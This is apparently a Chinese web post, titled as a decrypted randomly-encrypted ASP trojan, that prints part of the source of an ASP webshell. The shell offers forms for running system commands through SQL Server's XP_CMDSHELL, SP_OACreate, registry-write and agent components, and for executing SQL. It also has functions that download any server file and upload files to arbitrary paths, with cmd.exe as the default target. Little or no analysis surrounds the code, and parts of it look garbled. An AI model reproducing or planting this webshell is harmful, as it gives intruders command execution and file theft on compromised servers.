asp木马代码解密的随机加密webshell

2019-04-01 16:06:22王冬梅

RESPONSE.WRITE "<P>系统命令:"
RESPONSE.WRITE " <INPUT NAME=CMD TYPE=TEXT>"
RESPONSE.WRITE "<Select NAME='TOOL' ><OPTION VALUE=''>----请选择运行程序的组件----</OPTION><OPTION VALUE=XP_CMDSHELL>XP_CMDSHELL</OPTION><OPTION VALUE=SP_OACreate>SP_OACreate</OPTION><OPTION VALUE=XP_REGWRITE>XP_REGWRITE</OPTION><OPTION VALUE=SQLSERVERAGENT>SQLSERVERAGENT</OPTION></OPTION></Select>"
RESPONSE.WRITE " <INPUT NAME=SQLAAA TYPE=HIDDEN VALUE=CMD>"
RESPONSE.WRITE " <INPUT TYPE=SUBMIT VALUE=执行>"
RESPONSE.WRITE "</FORM>"
RESPONSE.WRITE "<FORM NAME=FORM1 METHOD=POST SQLAAA="&REQUEST.SERVERVARIABLES("URL")&">"
RESPONSE.WRITE "<P>执行语句:"
RESPONSE.WRITE " <INPUT NAME=SQL TYPE=TEXT>"
RESPONSE.WRITE " <INPUT NAME=SQLAAA TYPE=HIDDEN VALUE=SQL>"
RESPONSE.WRITE " <INPUT TYPE=SUBMIT VALUE=执行>"
RESPONSE.WRITE "</FORM>"
END IF
End Function

Function DownFile(Path)
Response.Clear
Set OSM = CreateObject(ObT(6,0))
OSM.Open
OSM.Type = 1
OSM.LoadFromFile Path
sz=InstrRev(path,"")+1
Response.AddHeader "Content-Disposition", "attachment; filename=" & Mid(path,sz)
Response.AddHeader "Content-Length", OSM.Size
Response.Charset = "UTF-8"
Response.ContentType = "application/octet-stream"
Response.BinaryWrite OSM.Read
Response.Flush
OSM.Close
Set OSM = Nothing
End Function

Function HTMLEncode(S)
if not isnull(S) then
S = replace(S, ">", ">")
S = replace(S, "<", "<")
S = replace(S, CHR(39), "'")
S = replace(S, CHR(34), """)
S = replace(S, CHR(20), " ")
HTMLEncode = S
end if
End Function

Function UpFile()
If Request("Action2")="Post" Then
Set U=new UPC : Set F=U.UA("LocalFile")
UName=U.form("ToPath")
If UName="" or F.FileSize=0 then
SI="<br>请输入上传的完全路径后选择一个文件上传!"
Else
F.SaveAs UName
If Err.number=0 Then
SI="<center><br><br><br>文件"&UName&"上传成功!</center>"
End if
End If
Set F=nothing:Set U=nothing
SI=SI&BackUrl
RRS SI
ShowErr()
Response.End
End If
SI="<br><br><br><table border='0' cellpadding='0' cellspacing='0' align='center'>"
SI=SI&"<form name='UpForm' method='post' action='"&URL&"?Action=UpFile&Action2=Post' enctype='multipart/form-data'>"
SI=SI&"<tr><td>"
SI=SI&"上传路径:<input name='ToPath' value='"&RRePath(Session("FolderPath")&"cmd.exe")&"' size='40'>"
SI=SI&" <input name='LocalFile' type='file' size='25'>"
SI=SI&" <input type='submit' name='Submit' value='上传'>"
SI=SI&"</td></tr>"©url&"</form></table>"
RRS SI
End Function

Function Cmd1Shell()
checked=" checked"
If Request("SP")<>"" Then Session("ShellPath") = Request("SP")